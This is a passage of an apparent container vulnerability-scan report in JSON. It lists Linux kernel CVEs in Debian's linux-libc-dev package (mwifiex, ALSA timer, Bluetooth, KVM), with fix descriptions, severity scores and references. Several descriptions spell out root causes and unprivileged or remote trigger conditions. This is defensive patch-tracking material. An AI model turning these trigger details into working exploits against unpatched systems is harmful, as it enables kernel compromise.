"https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/a39789f211b8a4125f0c70e05b30cf715f4f187d%20%287.2-rc6%29", "https://git.kernel.org/stable/c/0309ebbc570000ea0df11c06b69798e5860c5f6f", "https://git.kernel.org/stable/c/159ad90cb929c033308bb39a2c5f8fbf393b77aa", "https://git.kernel.org/stable/c/1a109cc9890d017c41d77e6c82da739579c49f0b", "https://git.kernel.org/stable/c/4695430e8132420bf8de94da3eb36a6cf35fde6b", "https://git.kernel.org/stable/c/482bcb85139addb4e8ac8ed10baeda3e0aad4031", "https://git.kernel.org/stable/c/4c57056ca6aace2e9f94ae9298bf49ef6b0c95e4", "https://git.kernel.org/stable/c/a39789f211b8a4125f0c70e05b30cf715f4f187d", "https://git.kernel.org/stable/c/d6c32e2e25a9a06ba021030e26b6d602a277eb72", "https://linux.oracle.com/cve/CVE-2026-74480.html", "https://linux.oracle.com/errata/ELSA-2026-66355-0.html", "https://lore.kernel.org/linux-cve-announce/2026081536-CVE-2026-74480-e620@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74480", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74480" ], "PublishedDate": "2026-08-15T13:17:52.82Z", "LastModifiedDate": "2026-10-16T20:17:30.937Z" }, { "VulnerabilityID": "CVE-2026-74488", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d5ad9c70d630090745f8d3ff2b78ee639898023b04264fc84a9c3b86cdf8dbb1", "Title": "kernel: wifi: mwifiex: use the subframe length when parsing A-MSDU TDLS frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mwifiex: use the subframe length when parsing A-MSDU TDLS frames\n\nmwifiex_11n_dispatch_amsdu_pkt() splits an A-MSDU with\nieee80211_amsdu_to_8023s() and walks the resulting subframes. For each\nsubframe it passes the subframe data pointer to\nmwifiex_process_tdls_action_frame(), but pairs it with skb-\u003elen, the\nlength of the A-MSDU parent, instead of rx_skb-\u003elen:\n\n\trx_skb = __skb_dequeue(\u0026list);\n\trx_hdr = (struct rx_packet_hdr *)rx_skb-\u003edata;\n\tif (ISSUPP_TDLS_ENABLED(priv-\u003eadapter-\u003efw_cap_info) \u0026\u0026\n\t ntohs(rx_hdr-\u003eeth803_hdr.h_proto) == ETH_P_TDLS) {\n\t\tmwifiex_process_tdls_action_frame(priv, (u8 *)rx_hdr,\n\t\t\t\t\t\t skb-\u003elen);\n\t}\n\nThe parent is not a valid description of that buffer, and may not be\nvalid memory at all. ieee80211_amsdu_to_8023s() ends with\n\n\tif (!reuse_skb)\n\t\tdev_kfree_skb(skb);\n\nand it only sets reuse_skb when the parent is linear, is not a\nhead_frag, and is being consumed as the *last* subframe. So when the\nparent does not qualify for reuse it has already been freed, and the\nread of skb-\u003elen is a use-after-free. When it is reused, skb-\u003elen is\nthe length of the last subframe, applied to every earlier subframe,\nwhich over-states the buffer whenever an earlier subframe is shorter.\n\nThe callee cannot absorb a wrong length, because it derives its own\nceiling from the value it is given. Each frame type computes\n\n\ties_len = len - sizeof(struct ethhdr) - TDLS_*_FIX_LEN;\n\nand the element walk is then bounded entirely against that ceiling,\n\n\tfor (end = pos + ies_len; pos + 1 \u003c end; pos += 2 + pos[1]) {\n\t\tu8 ie_len = pos[1];\n\n\t\tif (pos + 2 + ie_len \u003e end)\n\t\t\tbreak;\n\nso a too-large len moves end past the end of the subframe and the walk\nreads and copies beyond it. The A-MSDU layout is chosen by the sender,\nwhich makes the difference between the last subframe and a shorter\nearlier one remotely selectable. Reaching this requires TDLS support in\nfirmware and the TDLS ethertype on the subframe.\n\nThe other caller, mwifiex_process_rx_packet(), is correct: it passes a\npointer and a length that describe the same region of the RX buffer.\n\nPass rx_skb-\u003elen, the length of the subframe actually being parsed.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74488", "https://git.kernel.org/linus/99a948382af8a225e2d5e54a7052158cd6281cc6%20%287.2-rc6%29", "https://git.kernel.org/stable/c/25e5a3fe4f15e30f74eca42cbf3bcc3a3fbeda79", "https://git.kernel.org/stable/c/3b02275833a0d3e6583627995d614fa99bdf364f", "https://git.kernel.org/stable/c/5a21ab03829cb6d2682c127f22e2b9cd63b4393f", "https://git.kernel.org/stable/c/707664027bb9307f7268eda403af7c4ccd9b8644", "https://git.kernel.org/stable/c/99a948382af8a225e2d5e54a7052158cd6281cc6", "https://git.kernel.org/stable/c/a1f0f7dc7eb15754e6931b433edb7beb754c996a", "https://git.kernel.org/stable/c/c9dcfe6b8b71369e1d732e2ff622c3696a2f032c", "https://git.kernel.org/stable/c/ece2ebb34247d573142617dfc534a9dc11ba59be", "https://linux.oracle.com/cve/CVE-2026-74488.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081538-CVE-2026-74488-bf0e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74488", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74488" ], "PublishedDate": "2026-08-15T13:17:53.69Z", "LastModifiedDate": "2026-10-16T20:17:31.617Z" }, { "VulnerabilityID": "CVE-2026-74503", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74503", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d2e9024ce35326dd7bd2950399637e75e61ff1b7ce244ee569201c990b47f4f9", "Title": "kernel: ALSA: timer: Clear SNDRV_TIMER_IFLG_DEAD once the close completes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: timer: Clear SNDRV_TIMER_IFLG_DEAD once the close completes\n\nsnd_timer_close_locked() marks an instance with SNDRV_TIMER_IFLG_DEAD\nand returns early when the flag is already set, but the flag is never\ncleared again. A completed close ends in remove_slave_links(), which\nleaves timeri-\u003etimer NULL, so a second close is already harmless through\nthe timer == NULL path; the early return can only be reached by an\ninstance that was opened again in between. For such an instance the\nclose unlinks nothing, so snd_timer_instance_free() frees an object that\nis still on timer-\u003eopen_list_head, still on snd_timer_master_list if it\nwas opened with a slave key, still owns any adopted slaves, and still\nholds its timer and module references.\n\nsnd_seq_timer_open() reopens an instance exactly like that: it retries\nits fallback open on the same object after a failure that has already\nrun snd_timer_close_locked() internally. An unprivileged user with\naccess to /dev/snd/timer and /dev/snd/seq can force that failure, since\nsnd_timer_check_master() returns -EBUSY when a pending slave matches the\nnew master's (slave_class, slave_id) key and the target timer has\nreached max_instances, and SNDRV_TIMER_IOCTL_SELECT with dev_class =\nSNDRV_TIMER_CLASS_SLAVE keeps the caller-supplied dev_sclass, so a\nsequencer queue's key can be forged. The freed instance is afterwards\ndereferenced by any further snd_timer_open() on that timer, by\nsnd_timer_check_slave(), and by /proc/asound/timers, which faults on the\nstale ti-\u003eowner pointer.\n\nThe flag only has to be visible while the close is in progress, which is\nall its other users need. Clear it in remove_slave_links(), under the\nsame timer-\u003elock that sets it, once the instance is off every list.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74503", "https://git.kernel.org/linus/c2744d5f3aea474513fd2298daecb94a952ce441%20%287.2-rc6%29", "https://git.kernel.org/stable/c/0c561fab50991df10b1e4daca25886c34a2a9c07", "https://git.kernel.org/stable/c/a26a2e52736f9e39843ca66a2e1ce6bf1adbcd1e", "https://git.kernel.org/stable/c/bb016091010ec401a06e6bdace0cd944ee03d371", "https://git.kernel.org/stable/c/c2744d5f3aea474513fd2298daecb94a952ce441", "https://linux.oracle.com/cve/CVE-2026-74503.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081541-CVE-2026-74503-f1da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74503", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74503" ], "PublishedDate": "2026-08-15T13:17:55.31Z", "LastModifiedDate": "2026-10-16T20:17:32.927Z" }, { "VulnerabilityID": "CVE-2026-74509", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74509", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40eebdf74121a2cbcd5717018623443cd12420e5abc6646752245213eb65b0a8", "Title": "kernel: Bluetooth: hci_sync: Fix advertising data UAFs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: Fix advertising data UAFs\n\nhci_find_adv_instance() returns an adv_info pointer that is valid only\nwhile hdev-\u003elock is held. The advertising command-sync paths perform\ninstance lookups without that lock and, in some cases, retain the pointer\nwhile waiting for a controller response.\n\nAn advertising termination event can therefore interleave as follows:\n\n hci_cmd_sync_work hci_rx_work\n hci_find_adv_instance()\n __hci_cmd_sync_status()\n wait for controller reply hci_dev_lock()\n hci_remove_adv_instance()\n kfree(adv)\n adv-\u003escan_rsp_changed = false\n\nKASAN reported:\n\n BUG: KASAN: slab-use-after-free in hci_set_ext_scan_rsp_data_sync+0x2e1/0x300\n Write of size 1 at addr ffff88810a45d21d by task kworker/u17:0/88\n Workqueue: hci0 hci_cmd_sync_work\n Call Trace:\n hci_set_ext_scan_rsp_data_sync+0x2e1/0x300\n hci_schedule_adv_instance_sync+0x390/0x4c0\n hci_cmd_sync_work+0x173/0x300\n Allocated by task 87:\n hci_add_adv_instance+0x538/0xac0\n add_advertising+0x885/0x1160\n Freed by task 89:\n kfree+0x131/0x3c0\n hci_remove_adv_instance+0x1d8/0x3b0\n hci_le_ext_adv_term_evt+0x17b/0x730\n\nProtect the instance lookup and payload construction in the extended\nadvertising, scan response, and periodic advertising data paths. Snapshot\nthe advertising parameters under hdev-\u003elock, but release the lock before\nwaiting for the controller.\n\nClear advertising-data dirty bits before issuing their commands and\nrestore them after a failure using a fresh lookup. Likewise, update the\nreported transmit power through a fresh lookup after the parameter command\ncompletes. No adv_info pointer then survives an HCI command wait.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-74509", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/cdc36db204ffd97b947d64374cf23a210dc74777%20%287.2-rc6%29", "https://git.kernel.org/stable/c/565971488191bf54a87a417abafab6ad0de72201", "https://git.kernel.org/stable/c/95cdcd8c82a501931fd3ae9b3811b0b6da167e94", "https://git.kernel.org/stable/c/b16ebdbebd2d37f4cdc590bc3e9db71fe90350a3", "https://git.kernel.org/stable/c/c4cec575a6d6f7c36808a3a0017b0675968bb06b", "https://git.kernel.org/stable/c/cdc36db204ffd97b947d64374cf23a210dc74777", "https://git.kernel.org/stable/c/eb1d8318764de7216e6dbba29a24d69f7ce51348", "https://linux.oracle.com/cve/CVE-2026-74509.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://lore.kernel.org/linux-cve-announce/2026081542-CVE-2026-74509-eb82@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74509", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74509" ], "PublishedDate": "2026-08-15T13:17:55.95Z", "LastModifiedDate": "2026-10-16T20:17:33.55Z" }, { "VulnerabilityID": "CVE-2026-74516", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74516", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:04bf57e3c0e72718dcc8d314ffbd62e36a262ae885ef62183be08045662eff75", "Title": "kernel: KVM: SVM: Update x2APIC MSR intercepts if AVIC is inhibited while L2 is active", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Update x2APIC MSR intercepts if AVIC is inhibited while L2 is active\n\nAlways update x2APIC MSR intercepts for L1 when AVIC is deactivated, even\nif L2 is active and KVM is using a separate MSR bitmap to run L2. If AVIC\nis fully enabled prior to running L2, and is then inhibited while L2 is\nactive (for a VM-scoped inhibit), then KVM will run L1 with AVIC disabled,\nbut with x2APIC MSR intercepts disabled, i.e. will allow L1 to read most of\nthe host's APIC state, send arbitrary interrupts, change task priority, and\nultimately trivially DoS the host.\n\nE.g. sending a self-IPI in L1 on HYPERV_REENLIGHTENMENT_VECTOR, 0xee, with\nCONFIG_HYPERV=n in the host kernel as a \"safe\" PoC, yields:\n\n Spurious interrupt (vector 0xee) on CPU#425. Acked\n\nAnd hacking KVM to abuse kvm_set_posted_intr_wakeup_handler() to register a\nhandler and WARN on POSTED_INTR_WAKEUP_VECTOR yields:\n\n ------------[ cut here ]------------\n WARNING: arch/x86/kvm/svm/svm.c:5594 at pi_wakeup_handler+0x9/0x10 [kvm_amd], CPU#156: nested_x2apic_t/316940\n CPU: 156 UID: 0 PID: 316940 Comm: nested_x2apic_t Tainted: G S U\n Tainted: [S]=CPU_OUT_OF_SPEC, [U]=USER\n Hardware name: Google Astoria-Turin/astoria, BIOS 0.20260209.0-0 02/09/2026\n RIP: 0010:pi_wakeup_handler+0x9/0x10 [kvm_amd]\n Call Trace:\n \u003cIRQ\u003e\n sysvec_kvm_posted_intr_wakeup_ipi+0x64/0x80\n \u003c/IRQ\u003e\n \u003cTASK\u003e\n asm_sysvec_kvm_posted_intr_wakeup_ipi+0x1a/0x20\n RIP: 0010:vcpu_run+0x1430/0x1e40 [kvm]\n kvm_arch_vcpu_ioctl_run+0x2c1/0x600 [kvm]\n kvm_vcpu_ioctl+0x580/0x6b0 [kvm]\n __se_sys_ioctl+0x6d/0xb0\n do_syscall_64+0x10a/0x480\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n RIP: 0033:0x46ff4b\n \u003c/TASK\u003e\n ---[ end trace 0000000000000000 ]---", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74516", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/7d3aae206663c4e006b25a1c7a20a4029e67da76%20%287.2-rc6%29", "https://git.kernel.org/stable/c/4ca05385b3ddbd463be17c6d69ec76fca657081d", "https://git.kernel.org/stable/c/6664a5aea45318f4ec156a729949b474dd6e3159", "https://git.kernel.org/stable/c/7668c58dcf465559dc7a0d2e95e9cb79cf47454b", "https://git.kernel.org/stable/c/7d3aae206663c4e006b25a1c7a20a4029e67da76", "https://git.kernel.org/stable/c/89f9e8398e79c49886766fc24a84c37726231104", "https://git.kernel.org/stable/c/f12373625b4dc9bcc89c41872648878c73bb9272", "https://linux.oracle.com/cve/CVE-2026-74516.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081543-CVE-2026-74516-6af5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74516", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74516" ], "PublishedDate": "2026-08-15T13:17:56.737Z", "LastModifiedDate": "2026-10-16T20:17:34.16Z" }, { "VulnerabilityID": "CVE-2026-74518", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": 